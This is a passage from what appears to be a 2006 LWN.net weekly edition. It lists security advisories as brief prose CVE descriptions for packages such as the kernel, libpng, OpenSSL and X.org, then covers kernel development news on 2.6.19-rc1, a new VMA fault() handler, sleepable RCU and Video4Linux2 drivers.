2.6.17, and possibly later versions, allows local users to cause a denial
of service (memory consumption) by writing more data to the serial port
than the driver can handle, which causes the data to be queued. |
| Alerts: |
|
Comments (none posted)
kernel: denial of service
| Package(s): | kernel |
CVE #(s): | CVE-2006-2935
CVE-2006-4145
CVE-2006-3745
|
| Created: | September 1, 2006 |
Updated: | July 30, 2008 |
| Description: |
Previous versions of the kernel package are subject to several
vulnerabilities. Certain malformed UDF filesystems can cause the system to
crash (denial of service). Malformed CDROM firmware or USB storage devices
(such as USB keys) could cause system crash (denial of service), and if
they were intentionally malformed, can cause arbitrary code to run with
elevated privileges. In addition, the SCTP protocol is subject to a remote
system crash (denial of service) attack. |
| Alerts: |
|
Comments (none posted)
krb5: local privilege escalation
| Package(s): | krb5 |
CVE #(s): | CVE-2006-3083
|
| Created: | August 9, 2006 |
Updated: | July 7, 2010 |
| Description: |
Some kerberos applications fail to check the results of setuid() calls, with the result that, if that call fails, they could continue to execute as root after thinking they had switched to a nonprivileged user. A local attacker who can cause these calls to fail (through resource exhaustion, presumably) could exploit this bug to gain root privileges. |
| Alerts: |
|
Comments (none posted)
libgadu: memory alignment bug
| Package(s): | libgadu |
CVE #(s): | CAN-2005-2370
|
| Created: | July 29, 2005 |
Updated: | June 25, 2007 |
| Description: |
Szymon Zygmunt and Michal Bartoszkiewicz discovered a memory alignment
error in libgadu (from ekg, console Gadu Gadu client, an instant
messaging program) which is included in gaim, a multi-protocol instant
messaging client, as well. This can not be exploited on the x86
architecture but on others, e.g. on Sparc and lead to a bus error,
in other words a denial of service.
|
| Alerts: |
|
Comments (none posted)
libgd2: denial of service
| Package(s): | libgd2 |
CVE #(s): | CVE-2006-2906
|
| Created: | June 14, 2006 |
Updated: | January 16, 2007 |
| Description: |
Certain GIF images can cause libgd2 to go into an infinite loop, adversely affecting the performance of image processing applications. |
| Alerts: |
|
Comments (none posted)
libmms: buffer overflows
| Package(s): | libmms |
CVE #(s): | CVE-2006-2200
|
| Created: | July 6, 2006 |
Updated: | December 25, 2006 |
| Description: |
Several buffer overflows were found in libmms. By tricking a user into
opening a specially crafted remote multimedia stream with an application
using libmms, a remote attacker could overwrite an arbitrary memory portion
with zeros, thereby crashing the program. |
| Alerts: |
|
Comments (none posted)
libmusicbrainz: buffer overflows
| Package(s): | libmusicbrainz-2.0 |
CVE #(s): | CVE-2006-4197
|
| Created: | August 30, 2006 |
Updated: | October 23, 2006 |
| Description: |
Several buffer overflows have been discovered in the libmusicbrainz CD index library. |
| Alerts: |
|
Comments (none posted)
libpam-ldap: authentication bypass
| Package(s): | libpam-ldap |
CVE #(s): | CAN-2005-2641
|
| Created: | August 25, 2005 |
Updated: | October 6, 2006 |
| Description: |
libpam-ldap, the PAM LDAP interface, has a vulnerability in which
it fails to authenticate with an LDAP server which is not configured
properly, allowing an authentication bypass. |
| Alerts: |
|
Comments (none posted)
libpng: buffer overflow
| Package(s): | libpng |
CVE #(s): | CVE-2006-3334
|
| Created: | July 19, 2006 |
Updated: | December 15, 2008 |
| Description: |
In pngrutil.c, the function png_decompress_chunk() allocates
insufficient space for an error message, potentially overwriting stack
data, leading to a buffer overflow. |
| Alerts: |
|
Comments (none posted)
libpng: heap based buffer overflow
| Package(s): | libpng |
CVE #(s): | CVE-2006-0481
|
| Created: | February 13, 2006 |
Updated: | December 15, 2008 |
| Description: |
A heap based buffer overflow bug was found in the way libpng strips alpha
channels from a PNG image. An attacker could create a carefully crafted PNG
image file in such a way that it could cause an application linked with
libpng to crash or execute arbitrary code when the file is opened by a
victim. |
| Alerts: |
|
Comments (1 posted)
libtiff: buffer overflow
| Package(s): | libtiff |
CVE #(s): | CVE-2006-2193
|
| Created: | June 15, 2006 |
Updated: | September 1, 2008 |
| Description: |
The t2p_write_pdf_string function in libtiff 3.8.2 and earlier is vulnerable
to a buffer overflow. Attackers can use a TIFF file with UTF-8 characters
in the DocumentName tag to overflow a buffer, causing a denial of service,
and possibly the execution of arbitrary code. |
| Alerts: |
|
Comments (none posted)
libvncserver: authentication bypass
| Package(s): | libvncserver |
CVE #(s): | CVE-2006-2450
|
| Created: | August 4, 2006 |
Updated: | March 19, 2007 |
| Description: |
LibVNCServer fails to properly validate protocol types effectively
letting users decide what protocol to use, such as "Type 1 - None".
LibVNCServer will accept this security type, even if it is not offered
by the server. |
| Alerts: |
|
Comments (none posted)
libwmf: integer overflow
| Package(s): | libwmf |
CVE #(s): | CVE-2006-3376
|
| Created: | July 13, 2006 |
Updated: | November 6, 2006 |
| Description: |
libwmf, a library that is used for processing Windows MetaFile vector graphics files, has an integer overflow vulnerability. |
| Alerts: |
|
Comments (none posted)
libxml2 - arbitrary code execution
| Package(s): | libxml2 |
CVE #(s): | CAN-2004-0110
|
| Created: | February 26, 2004 |
Updated: | August 19, 2009 |
| Description: |
Yuuichi Teranishi discovered a flaw in libxml2 versions prior to 2.6.6.
When fetching a remote resource via FTP or HTTP, libxml2 uses special
parsing routines. These routines can overflow a buffer if passed a very
long URL. If an attacker is able to find an application using libxml2 that
parses remote resources and allows them to influence the URL, then this
flaw could be used to execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
libxml2: multiple buffer overflows
| Package(s): | libxml2 |
CVE #(s): | CAN-2004-0989
|
| Created: | October 28, 2004 |
Updated: | August 19, 2009 |
| Description: |
libxml2 prior to version 2.6.14 has multiple buffer overflow
vulnerabilities, if a local user passes a specially crafted
FTP URL, arbitrary code may be executed. |
| Alerts: |
|
Comments (none posted)
lynx: arbitrary command execution
| Package(s): | lynx |
CVE #(s): | CVE-2005-2929
|
| Created: | November 14, 2005 |
Updated: | September 14, 2009 |
| Description: |
An arbitrary command execute bug was found in the lynx "lynxcgi:" URI
handler. An attacker could create a web page redirecting to a malicious URL
which could execute arbitrary code as the user running lynx. |
| Alerts: |
|
Comments (none posted)
mailman: several vulnerabilities
| Package(s): | mailman |
CVE #(s): | CVE-2006-2941
CVE-2006-3636
|
| Created: | September 8, 2006 |
Updated: | October 23, 2006 |
| Description: |
A flaw was found in the way Mailman handled MIME multipart messages. An
attacker could send a carefully crafted MIME multipart email message to a
mailing list run by Mailman which caused that particular mailing list
to stop working. (CVE-2006-2941)
Several cross-site scripting (XSS) issues were found in Mailman. An
attacker could exploit these issues to perform cross-site scripting attacks
against the Mailman administrator. (CVE-2006-3636) |
| Alerts: |
|
Comments (none posted)
migrationtools: insecure temporary files
| Package(s): | migrationtools |
CVE #(s): | CVE-2006-0512
|
| Created: | October 2, 2006 |
Updated: | October 4, 2006 |
| Description: |
Jason Hoover discovered that migrationtools, a collection of scripts
to migrate user data to LDAP creates several temporary files insecurely,
which might lead to denial of service through a symlink attack. |
| Alerts: |
|
Comments (none posted)
mono: symlink vulnerability
| Package(s): | mono |
CVE #(s): | CVE-2006-5072
|
| Created: | October 4, 2006 |
Updated: | December 1, 2006 |
| Description: |
The mono System.CodeDom.Compiler classes suffer from a temporary file symlink vulnerability which could be used to overwrite files, or, in this case, even inject arbitrary code into a running mono application. |
| Alerts: |
|
Comments (none posted)
firefox: multiple vulnerabilities
| Package(s): | mozilla firefox thunderbird |
CVE #(s): | CVE-2006-4565
CVE-2006-4566
CVE-2006-4571
CVE-2006-4253
CVE-2006-4567
CVE-2006-4568
CVE-2006-4569
|
| Created: | September 15, 2006 |
Updated: | November 14, 2006 |
| Description: |
Two flaws were found in the way Firefox/Thunderbird processed certain regular
expressions. A malicious web page/HTML email could crash the browser or
possibly execute arbitrary code as the user running
Firefox/Thunderbird. (CVE-2006-4565, CVE-2006-4566)
A number of flaws were found in Firefox/Thunderbird. A malicious web
page/HTML email could crash the browser or possibly execute arbitrary code
as the user running Firefox/Thunderbird. (CVE-2006-4571)
A flaw was found in the handling of JavaScript timed events. A malicious
web page could crash the browser or possibly execute arbitrary code as the
user running Firefox/Thunderbird. (CVE-2006-4253)
A flaw was found in the Firefox/Thunderbird auto-update verification
system. An attacker who has the ability to spoof a victim's DNS could get
Firefox to download and install malicious code. In order to exploit this
issue an attacker would also need to get a victim to previously accept an
unverifiable certificate. (CVE-2006-4567)
Firefox did not properly prevent a frame in one domain from injecting
content into a sub-frame that belongs to another domain, which facilitates
website spoofing and other attacks (CVE-2006-4568)
Firefox did not load manually opened, blocked popups in the right domain
context, which could lead to cross-site scripting attacks. In order to
exploit this issue an attacker would need to find a site which would frame
their malicious page and convince the user to manually open a blocked
popup. (CVE-2006-4569) |
| Alerts: |
|
Comments (none posted)
mutt: IMAP namespace buffer overflow
| Package(s): | mutt |
CVE #(s): | CVE-2006-3242
|
| Created: | June 28, 2006 |
Updated: | October 24, 2006 |
| Description: |
TAKAHASHI Tamotsu discovered that mutt's IMAP backend did not sufficiently
check the validity of namespace strings. If an user connects to a malicious
IMAP server, that server could exploit this to crash mutt or even execute
arbitrary code with the privileges of the mutt user. See this Secunia advisory for more
information. |
| Alerts: |
|
Comments (none posted)
mysql: format string bug
| Package(s): | mysql |
CVE #(s): | CVE-2006-3469
|
| Created: | July 21, 2006 |
Updated: | July 30, 2008 |
| Description: |
Jean-David Maillefer discovered a format string bug in the
date_format() function's error reporting. By calling the function with
invalid arguments, an authenticated user could exploit this to crash
the server. |
| Alerts: |
|
Comments (none posted)
MySQL: privilege violations
| Package(s): | mysql |
CVE #(s): | CVE-2006-4031
CVE-2006-4226
|
| Created: | August 25, 2006 |
Updated: | July 30, 2008 |
| Description: |
MySQL 4.1 before 4.1.21 and 5.0 before 5.0.24 allows a local user to access
a table through a previously created MERGE table, even after the user's
privileges are revoked for the original table, which might violate intended
security policy (CVE-2006-4031).
MySQL 4.1 before 4.1.21, 5.0 before 5.0.25, and 5.1 before 5.1.12, when run
on case-sensitive filesystems, allows remote authenticated users to create
or access a database when the database name differs only in case from a
database for which they have permissions (CVE-2006-4226). |
| Alerts: |
|
Comments (none posted)
MySQL: logging bypass
| Package(s): | mysql |
CVE #(s): | CVE-2006-0903
|
| Created: | April 4, 2006 |
Updated: | May 21, 2008 |
| Description: |
MySQL 5.0.18 and earlier allows local users to bypass logging mechanisms
via SQL queries that contain the NULL character, which are not properly
handled by the mysql_real_query function. NOTE: this issue was originally
reported for the mysql_query function, but the vendor states that since
mysql_query expects a null character, this is not an issue for mysql_query. |
| Alerts: |
|
Comments (2 posted)
nbd: arbitrary code execution
| Package(s): | nbd |
CVE #(s): | CVE-2005-3534
|
| Created: | January 6, 2006 |
Updated: | March 7, 2011 |
| Description: |
Kurt Fitzner discovered that the NBD (network block device) server did not
correctly verify the maximum size of request packets. By sending specially
crafted large request packets, a remote attacker who is allowed to access
the server could exploit this to execute arbitrary code with root
privileges. |
| Alerts: |
|
Comments (none posted)
ncompress: buffer underflow
| Package(s): | ncompress |
CVE #(s): | CVE-2006-1168
|
| Created: | August 10, 2006 |
Updated: | February 21, 2012 |
| Description: |
The ncompress compression utility has a missing boundary check.
A local user can use a maliciously created file to cause a
a .bss buffer underflow. |
| Alerts: |
|
Comments (none posted)
nss: signature forgery vulnerability
| Package(s): | nss |
CVE #(s): | CVE-2006-4340
|
| Created: | September 15, 2006 |
Updated: | October 18, 2006 |
| Description: |
Daniel Bleichenbacher recently described an implementation error in RSA
signature verification. For RSA keys with exponent 3 it is possible for an
attacker to forge a signature that which would be incorrectly verified by
the NSS library. |
| Alerts: |
|
Comments (1 posted)
openldap: security bypass
| Package(s): | openldap |
CVE #(s): | CVE-2006-4600
|
| Created: | September 29, 2006 |
Updated: | June 12, 2007 |
| Description: |
slapd in OpenLDAP before 2.3.25 allows remote authenticated users with
selfwrite Access Control List (ACL) privileges to modify arbitrary
Distinguished Names (DN). |
| Alerts: |
|
Comments (none posted)
openoffice.org: several vulnerabilities
| Package(s): | openoffice.org |
CVE #(s): | CVE-2006-2198
CVE-2006-2199
CVE-2006-3117
|
| Created: | June 30, 2006 |
Updated: | January 4, 2007 |
| Description: |
Several vulnerabilities have been discovered in OpenOffice.org, a free
office suite.
- It turned out to be possible to embed arbitrary BASIC macros in
documents in a way that OpenOffice.org does not see them but executes them
anyway without any user interaction. (CVE-2006-2198)
- It is possible to evade the Java sandbox with specially crafted Java
applets. (CVE-2006-2199)
- Loading malformed XML documents can cause buffer overflows and cause a
denial of service or execute arbitrary code. (CVE-2006-3117)
|
| Alerts: |
|
Comments (none posted)
openssh: remote denial of service
| Package(s): | openssh |
CVE #(s): | CVE-2006-4924
CVE-2006-5051
|
| Created: | September 27, 2006 |
Updated: | September 17, 2008 |
| Description: |
Openssh 4.4 fixes some
security issues, including a pre-authentication denial of service, an
unsafe signal hander and on portable OpenSSH a GSSAPI authentication abort
could be used to determine the validity of usernames on some platforms. |
| Alerts: |
|
Comments (none posted)
openssl: insufficient signature checking
| Package(s): | openssl |
CVE #(s): | CVE-2006-4339
|
| Created: | September 5, 2006 |
Updated: | November 15, 2006 |
| Description: |
Philip Mackenzie, Marius Schilder, Jason Waddle and Ben Laurie of Google
Security discovered that the OpenSSL library did not sufficiently check the
padding of PKCS #1 v1.5 signatures if the exponent of the public key is 3
(which is widely used for CAs). This could be exploited to forge signatures
without the need of the secret key. |
| Alerts: |
|
Comments (none posted)
openssl: multiple vulnerabilities
| Package(s): | openssl |
CVE #(s): | CVE-2006-2937
CVE-2006-2940
CVE-2006-3780
CVE-2006-4343
CVE-2006-3738
|
| Created: | September 28, 2006 |
Updated: | December 12, 2006 |
| Description: |
OpenSSL has a number of denial of service vulnerabilities including:
two vulnerabilities involving invalid ASN.1 structures, a buffer overflow
in the SSL_get_shared_ciphers() function and an SSLv2 client crash that
can be caused by a malicious server. |
| Alerts: |
|
Comments (none posted)
opera: RSA signature forgery
| Package(s): | opera |
CVE #(s): | |
| Created: | September 28, 2006 |
Updated: | October 4, 2006 |
| Description: |
The Opera browser has a problem verifying OpenSSL PKCS #1
v1.5 RSA signatures. An attacker can use this to forge certificates
and appear as a valid CA. |
| Alerts: |
|
Comments (none posted)
php: several vulnerabilities
| Package(s): | php |
CVE #(s): | CVE-2006-4481
CVE-2006-4484
CVE-2006-4485
|
| Created: | September 8, 2006 |
Updated: | June 13, 2008 |
| Description: |
The file_exists and imap_reopen functions in PHP before 5.1.5 do not check
for the safe_mode and open_basedir settings, which allows local users to
bypass the settings (CVE-2006-4481).
A buffer overflow in the LWZReadByte function in ext/gd/libgd/gd_gif_in.c
in the GD extension in PHP before 5.1.5 allows remote attackers to have an
unknown impact via a GIF file with input_code_size greater than
MAX_LWZ_BITS, which triggers an overflow when initializing the table array
(CVE-2006-4484).
The stripos function in PHP before 5.1.5 has unknown impact and attack
vectors related to an out-of-bounds read (CVE-2006-4485). |
| Alerts: |
|
Comments (1 posted)
phpbb2: missing input sanitizing
| Package(s): | phpbb2 |
CVE #(s): | CVE-2006-1896
|
| Created: | May 22, 2006 |
Updated: | February 11, 2008 |
| Description: |
It was discovered that phpbb2, a web based bulletin board, insufficiently
sanitizes values passed to the "Font Color 3" setting, which might lead to
the execution of injected code by admin users. |
| Alerts: |
|
Comments (none posted)
phpbb2: multiple vulnerabilities
| Package(s): | phpbb2 |
CVE #(s): | CVE-2005-3310
CVE-2005-3415
CVE-2005-3416
CVE-2005-3417
CVE-2005-3418
CVE-2005-3419
CVE-2005-3420
CVE-2005-3536
CVE-2005-3537
|
| Created: | December 22, 2005 |
Updated: | February 11, 2008 |
| Description: |
The phpbb2 web forum has a number of vulnerabilities including:
a web script injection problem, a protection mechanism bypass, a
security check bypass, a remote global variable bypass, cross site
scripting vulnerabilities, an SQL injection vulnerability,
a remote regular expression modification problem, missing input
sanitizing, and a missing request validation problem. |
| Alerts: |
|
Comments (none posted)
phpMyAdmin: multiple vulnerabilities
| Package(s): | phpmyadmin |
CVE #(s): | CVE-2005-4079
CVE-2005-3665
|
| Created: | December 12, 2005 |
Updated: | November 20, 2006 |
| Description: |
Stefan Esser reported multiple vulnerabilities
found in phpMyAdmin. The $GLOBALS variable allows modifying the global
variable import_blacklist to open phpMyAdmin to local and remote file
inclusion, depending on your PHP version (CVE-2005-4079, PMASA-2005-9).
Furthermore, it is also possible to conduct an XSS attack via the
$HTTP_HOST variable and a local and remote file inclusion because the
contents of the variable are under total control of the attacker
(CVE-2005-3665, PMASA-2005-8). |
| Alerts: |
|
Comments (none posted)
postgresql: SQL injection
| Package(s): | postgresql |
CVE #(s): | CVE-2006-2313
CVE-2006-2314
|
| Created: | May 24, 2006 |
Updated: | June 6, 2007 |
| Description: |
The PostgreSQL team has put out a set of "urgent updates" (in the form of the 7.3.15, 7.4.13, 8.0.8, and 8.1.4 releases) closing a
newly-discovered set of SQL injection issues. Details about the problem
can be found on the
technical information page; in short: multi-byte encodings can be used
to defeat normal string sanitizing techniques. The update fixes one problem
related to invalid multi-byte characters, but punts on another by simply
disallowing the old, unsafe technique of escaping single quotes with a
backslash. |
| Alerts: |
|
Comments (1 posted)
quake: buffer overflow
| Package(s): | quake3-bin |
CVE #(s): | CVE-2006-2236
|
| Created: | May 10, 2006 |
Updated: | January 12, 2009 |
| Description: |
Games based on the Quake 3 engine are vulnerable to a buffer overflow exploitable by a hostile game server. |
| Alerts: |
|
Comments (none posted)
sendmail: denial of service
| Package(s): | sendmail |
CVE #(s): | CVE-2006-1173
|
| Created: | June 15, 2006 |
Updated: | November 1, 2006 |
| Description: |
Sendmail has a vulnerability in the way it handles multi-part MIME messages.
A remote attacker can create a specially crafted email message that can
be used to crash the sendmail process, causing a denial of service. |
| Alerts: |
|
Comments (none posted)
shadow-utils: mailbox creation vulnerability
| Package(s): | shadow-utils |
CVE #(s): | CVE-2006-1174
|
| Created: | May 25, 2006 |
Updated: | June 12, 2007 |
| Description: |
The useradd tool from the shadow-utils package has a potential security
problem. When a new user's mailbox is created, the permissions are
set to random garbage from the stack, potentially allowing the
file to be read or written during the time before fchmod() is called. |
| Alerts: |
|
Comments (none posted)
texinfo: temporary file vulnerability
| Package(s): | texinfo |
CVE #(s): | CAN-2005-3011
|
| Created: | October 5, 2005 |
Updated: | November 9, 2006 |
| Description: |
Texinfo prior to version 4.8-r1 suffers from a temporary file vulnerability. |
| Alerts: |
|
Comments (none posted)
tin: buffer overflow
| Package(s): | tin |
CVE #(s): | CVE-2006-0804
|
| Created: | February 19, 2006 |
Updated: | November 24, 2006 |
| Description: |
An allocation off-by-one bug exists in the TIN news reader version 1.8.0 and earlier
which can lead to a buffer overflow. |
| Alerts: |
|
Comments (none posted)
unzip: long file name buffer overflow
| Package(s): | unzip |
CVE #(s): | CVE-2005-4667
|
| Created: | February 6, 2006 |
Updated: | May 2, 2007 |
| Description: |
A buffer overflow in UnZip 5.50 and earlier allows local users to execute
arbitrary code via a long filename command line argument. NOTE: since the
overflow occurs in a non-setuid program, there are not many scenarios under
which it poses a vulnerability, unless unzip is passed long arguments when
it is invoked from other programs. |
| Alerts: |
|
Comments (1 posted)
w3c-libwww: possible stack overflow
| Package(s): | w3c-libwww |
CVE #(s): | CVE-2005-3183
|
| Created: | October 14, 2005 |
Updated: | May 2, 2007 |
| Description: |
xtensive testing of libwww's handling of multipart/byteranges content from
HTTP/1.1 servers revealed multiple logical flaws and bugs in
Library/src/HTBound.c |
| Alerts: |
|
Comments (1 posted)
webmin: cross-site scripting
| Package(s): | webmin |
CVE #(s): | CVE-2006-4542
|
| Created: | September 26, 2006 |
Updated: | October 24, 2006 |
| Description: |
Webmin before 1.296 and Usermin before 1.226 does not properly handle a URL
with a null ("%00") character, which allows remote attackers to conduct
cross-site scripting (XSS), read CGI program source code, list directories,
and possibly execute programs. |
| Alerts: |
|
Comments (none posted)
wireshark: several vulnerabilities
Comments (none posted)
xine-lib: code execution
| Package(s): | xine-lib |
CVE #(s): | CVE-2006-4799
|
| Created: | October 4, 2006 |
Updated: | November 21, 2006 |
| Description: |
The xine-lib package does not properly validate AVI headers, enabling an attacker to run arbitrary code via a specially crafted AVI file. |
| Alerts: |
|
Comments (none posted)
xine-lib: buffer overflow
| Package(s): | xine-lib |
CVE #(s): | CVE-2006-1664
|
| Created: | April 27, 2006 |
Updated: | February 27, 2008 |
| Description: |
xine-lib does an improper input data boundary check on
MPEG streams. A specially crafted MPEG file can be
created that can cause arbitrary code execution when the
file is accessed. |
| Alerts: |
|
Comments (none posted)
xine-ui: format string vulnerabilities
| Package(s): | xine-ui |
CVE #(s): | CVE-2006-2230
|
| Created: | June 9, 2006 |
Updated: | January 24, 2007 |
| Description: |
Several format string vulnerabilities have been discovered in xine-ui,
the user interface of the xine video player, which may cause a denial
of service. |
| Alerts: |
|
Comments (none posted)
X.org: local privilege escalations
| Package(s): | xorg-x11 |
CVE #(s): | CVE-2006-4447
|
| Created: | August 28, 2006 |
Updated: | April 30, 2007 |
| Description: |
Several X.org libraries and X.org itself contain system calls to
set*uid() functions, without checking their result. Local users could
deliberately exceed their assigned resource limits and elevate their
privileges after an unsuccessful set*uid() system call. This requires
resource limits to be enabled on the machine. |
| Alerts: |
|
Comments (none posted)
X.Org: buffer overflow
| Package(s): | xorg-x11-server xorg-x11 |
CVE #(s): | CVE-2006-1526
|
| Created: | May 3, 2006 |
Updated: | January 10, 2007 |
| Description: |
There is a buffer overflow in the Xrender extension of the X.Org server; any process which is able to connect to the server may be able to exploit this overflow to run arbitrary code. Since the X server runs as root on most systems, this vulnerability could be exploited to gain root access. See the X.Org advisory for more information. |
| Alerts: |
|
Comments (none posted)
xorg-x11: privilege escalation
| Package(s): | xorg-x11 xfree86 |
CVE #(s): | CVE-2006-3739
CVE-2006-3740
|
| Created: | September 12, 2006 |
Updated: | December 14, 2006 |
| Description: |
iDefense reported two integer overflow
flaws in the way the X.org server processed CID font files. A malicious
authorized client could exploit this issue to cause a denial of service
(crash) or potentially execute arbitrary code with root privileges on the
X.org server. |
| Alerts: |
|
Comments (none posted)
xpdf: buffer overflow
| Package(s): | xpdf |
CVE #(s): | CAN-2005-0064
|
| Created: | January 19, 2005 |
Updated: | March 15, 2007 |
| Description: |
iDEFENSE has found yet another xpdf buffer overflow; see this advisory for details. |
| Alerts: |
|
Comments (1 posted)
xpdf: integer overflows
| Package(s): | xpdf, poppler, cupsys, tetex-bin |
CVE #(s): | CVE-2005-3624
CVE-2005-3625
CVE-2005-3626
CVE-2005-3627
|
| Created: | January 5, 2006 |
Updated: | November 30, 2006 |
| Description: |
xpdf has a number of integer overflows.
A remote attacker can trick a user into opening a maliciously
crafted pdf file, allowing the attacker to execute code with the
privileges of the local user.
This also affects the Poppler library, cupsys and tetex-bin. |
| Alerts: |
|
Comments (none posted)
Resources
Steve Christey at MITRE has done a bunch of statistics crunching on five
years of CVE vulnerability entries. The
resulting report
makes interesting reading. "
Format string vulnerabilities appear
more frequently in open source. There are probably several factors. First,
susceptible API library calls such as printf() are easily found in source
code using crude methods, whereas binary reverse engineering techniques are
not conducted by many researchers (this might also be an explanation for
symbolic link issues). Second, many format string problems seem to occur in
rarely-triggered error conditions, which makes them more difficult to test
with black box methods."
Comments (12 posted)
Page editor: Jonathan Corbet
Kernel development
Brief items
The current 2.6 prepatch is 2.6.19-rc1,
released on October 4,
several milliseconds after last week's Kernel Page was published. For a
summary of changes, see
this
article and
this one from
the last two weeks. Highlights include
the parallel ATA driver set,
labeled networking for IPsec
and CIPSO security, a few new architectures, lots of new drivers, the
GFS2 cluster filesystem,
eCryptfs, and large numbers of
internal changes.
The long-format
changelog has the details - but, since we're talking about almost 5000
patches from over 600 contributors, it's best to have a lot of time on
one's hands. The short-form changelog is
somewhat more compact, but still lengthy.
At this point in the process, patches going into the mainline repository
are supposed to be confined to fixes. Many of them are, but Linus has
merged a few other significant changes, including, as predicted, the interrupt handler prototype
change, which has caused changes throughout the tree. There is a new
epoll_pwait() system call which takes an additional signal mask
parameter, and the venerable (but long-unused)
<linux/config.h> include file has been removed at last.
Also merged is the developmental ext4 filesystem, which includes a number of enhancements,
including support for extents and 48-bit block numbers.
See the ext4 documentation file if you are
interested in playing with ext4 (and have good backups).
The current -mm tree is 2.6.19-rc1-mm1. Recent changes
to -mm include the addition of ext4 (which promptly moved on into the
mainline), continued work on the swap token mechanism, a generic
log2() implementation, and the dynamic tick patch.
Comments (3 posted)
Kernel development news
Maintaining drivers out of tree is shameless autoflagellation at
the best of times. We really don't care -- if we didn't make life
hard for them in this way they'd only go and stick pins under their
fingernails to make up for the lack of pain. If you think about it
like that, we're probably doing them a favour -- at least this way
they're _safe_.
-- David Woodhouse
Comments (40 posted)
The
nopfn() VMA operation was added for 2.6.19-rc1; see
this article from last month for
information on this method. It turns out, though, that
nopfn()
might just be one of the shortest-lived kernel API extensions in some time;
Nick Piggin has posted
a series
of patches which will bring significant changes to how page faults are
handled at the lowest levels.
The 2.6.19-rc1 vm_operations_struct structure defines three
methods which handle low-level paging:
struct page *(*nopage)(struct vm_area_struct *area,
unsigned long address, int *type);
unsigned long (*nopfn)(struct vm_area_struct *area,
unsigned long address);
int (*populate)(struct vm_area_struct *area, unsigned long address,
unsigned long len, pgprot_t prot,
unsigned long pgoff, int nonblock);
Ordinarily, page faults are handled by nopfn() (if it exists) or
nopage(). Those functions are supposed to take the given
address and associate it with a page in physical memory. For
virtual memory areas (VMAs) which are backed up by files, the virtual
filesystem layer reacts to a nopage() call by allocating a page of
memory, reading the appropriate contents from backing store, then passing
the page back to the kernel for insertion into the page tables. Device
drivers which implement nopage() typically just translate the
address into an appropriate pointer for an in-memory buffer being
mapped into user space.
Both nopfn() and nopage() assume that the mapping between
virtual memory addresses and the offset within the VMA is linear - that is
why only the address is provided as a parameter. The kernel, however, also
supports nonlinear mappings,
where an application can turn a VMA into a complex window into different
parts of the backing file. The nopfn() and nopage()
methods cannot handle these mappings, since they do not have the required
information. Instead, any backing store which supports nonlinear mappings
must provide a populate() method, which has parameters for both
the virtual memory address and the associated offset
(pgoff) into the backing store device.
Enter Nick, who was working on a tricky race condition found within one of
the most notoriously tricky parts of the kernel: the code which handles
file truncation. In some conditions, a page which was being removed as a
result of a truncate() call could be simultaneously faulted in via
nopage(), leading to memory management confusion. While
rethinking the locking rules for these operations, Nick decided that there
should be a better way. The result was a new VMA operation called
fault():
struct fault_data {
struct vm_area_struct *vma;
unsigned long address;
pgoff_t pgoff;
unsigned int flags;
int type;
};
struct page *(*fault)(struct vm_area_struct *vma,
struct fault_data *fdata);
This method is intended to replace all of nopfn(),
nopage(), and populate(). When a page fault happens, the
kernel fills in the fault_data structure with the needed
information: the user-space address associated with the fault, the
corresponding offset pgoff, and a couple of flags which indicate
whether the fault happened on a write access and whether a nonlinear
mapping is involved.
The fault() function should locate a page which can satisfy a
request for the offset pgoff; it won't normally need
address at all. The function can then either return the
associated struct page, or set the page table entry directly (with
something like vm_insert_page()) and return NULL. Either
way, the type field should be set to the type of fault (major or
minor). If the fault cannot be handled, the appropriate error code should
be put into type instead.
Nick's patch gets rid of the nopfn() and populate()
methods immediately. There is currently only one user of nopfn(),
and the older populate() API has never been widely used outside of
the mainline kernel. The install_page() function is also destined
for a near-term demise. The nopage() method, instead, is widely
used by device drivers, inside and outside of the mainline. So it has been
marked as deprecated and scheduled for removal one year from now, in
October, 2007. There have been suggestions that nopage() should
go sooner (after six months, say), but no definitive decision.
Details like that aside, there appears to be broad support for this
change. These patches would probably be a bit too new for 2.6.19, even if
the merge window were still open, so 2.6.20 is the earliest likely date for
them to appear in the mainline. But, at that point, driver and out-of-tree
filesystem maintainers will have some updating to do.
Comments (1 posted)
| October 4, 2006 |
| This article was contributed by Paul McKenney |
Classic RCU requires that read-side critical sections obey the same rules
obeyed by the critical sections of pure spinlocks: blocking or sleeping
of any sort is strictly prohibited.
This has frequently been an obstacle to the use of RCU, and
I have received numerous requests for a ``sleepable RCU'' (SRCU) that
permits arbitrary sleeping (or blocking) within RCU read-side critical
sections.
I had previously rejected all such requests as unworkable, since arbitrary
sleeping in RCU read-side could indefinitely extend grace periods, which
in turn could result in arbitrarily large amounts of memory awaiting the
end of a grace period, which finally would result in system hangs due
to memory exhaustion.
After all, any concurrency-control primitive that could result in
system hangs -- even when used correctly - does not deserve to exist.
However, the realtime kernels that require spinlock critical sections
be preemptible [3] also require that RCU read-side critical
sections be preemptible [2].
Preemptible critical sections in turn require that lock-acquisition
primitives block in order to avoid deadlock,
which in turns means that both RCU's and spinlocks'
critical sections be able to block awaiting a lock.
However, these two forms of sleeping have the special property that
priority boosting and priority inheritance may be used to awaken
the sleeping tasks in short order.
Nevertheless,
use of RCU in realtime kernels was the first crack in the tablets
of stone on which were inscribed ``RCU read-side critical sections can never
sleep''.
That said, indefinite sleeping, such as blocking waiting for an
incoming TCP connection, is strictly verboten even in realtime kernels.
Quick Quiz 1: Why is sleeping prohibited within Classic RCU read-side
critical sections?
Quick Quiz 2:
Why not permit sleeping in Classic RCU read-side critical sections
by eliminating context switch as a quiescent state, leaving user-mode
execution and idle loop as the remaining quiescent states?
(Click below for the rest of this lengthy, technical article - and the
answers to the quick quiz questions).
Full Story (comments: 10)
Your editor has recently had the opportunity to write a Linux driver for a
camera device - the camera which will be packaged with the One Laptop Per
Child system, in particular. This driver works with the internal kernel
API designed for such purposes: the Video4Linux2 API. In the process of
writing this code, your editor made the shocking discovery that, in fact,
this API is not particularly well documented - though the user-space side
is, instead,
quite
well documented indeed. In an attempt to remedy the
situation somewhat, LWN will, over the coming months, publish a series of
articles describing how to write drivers for the V4L2 interface.
V4L2 has a long history - the first gleam came into Bill Dirks's eye back
around August of 1998. Development proceeded for years, and the V4L2 API
was finally merged into the mainline in November, 2002, when 2.5.46 was released. To this
day, however, quite a few Linux drivers do not support the newer API; the
conversion process is an ongoing task. Meanwhile, the V4L2 API continues
to evolve, with some major changes being made in 2.6.18. Applications
which work with V4L2 remain relatively scarce.
V4L2 is designed to support a wide variety of devices, only some of which
are truly "video" in nature:
- The video capture interface grabs video data from a tuner or
camera device. For many, video capture will be the primary
